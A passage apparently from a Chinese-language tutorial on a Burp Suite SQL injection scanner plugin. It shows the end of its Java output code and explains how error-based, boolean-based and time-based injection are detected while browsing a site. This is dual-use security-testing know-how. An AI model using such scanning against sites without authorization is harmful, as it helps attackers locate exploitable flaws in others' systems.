stdout.println("***************************************");
stdout.println("[+] Error-Base SQLI :");
stdout.println(myurl);
stdout.println("NST SQLI Scaner");
stdout.println("***************************************");
return true;
}
}
}
}
}
}
}
检测报错的注入可通过返回包中是否存在关键字来判断。get和post均可。
而bool注入则根据多个相应包的比较来判断,time-base类型注入直接根据响应时间即可。
我们只需要开启burp,然后随便在网站点几个URL请求。然后就坐等注入即可。
如图